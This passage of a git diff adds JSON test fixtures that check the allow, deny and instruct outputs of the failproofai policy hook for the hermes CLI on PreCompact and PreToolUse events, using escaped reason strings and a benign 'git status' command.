"decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ca994a94 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c7918206 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c643f1c9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8e8dbbe9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..452da101 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bcc08efa --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b9f5dc47 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..bc15e82c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d112f83a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ec43af4b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1a610b1c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e1b2bd8e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e5651567 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..54cb6029 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a9660516 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4ffbd0f1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..89957221 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..eafd4fba --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": 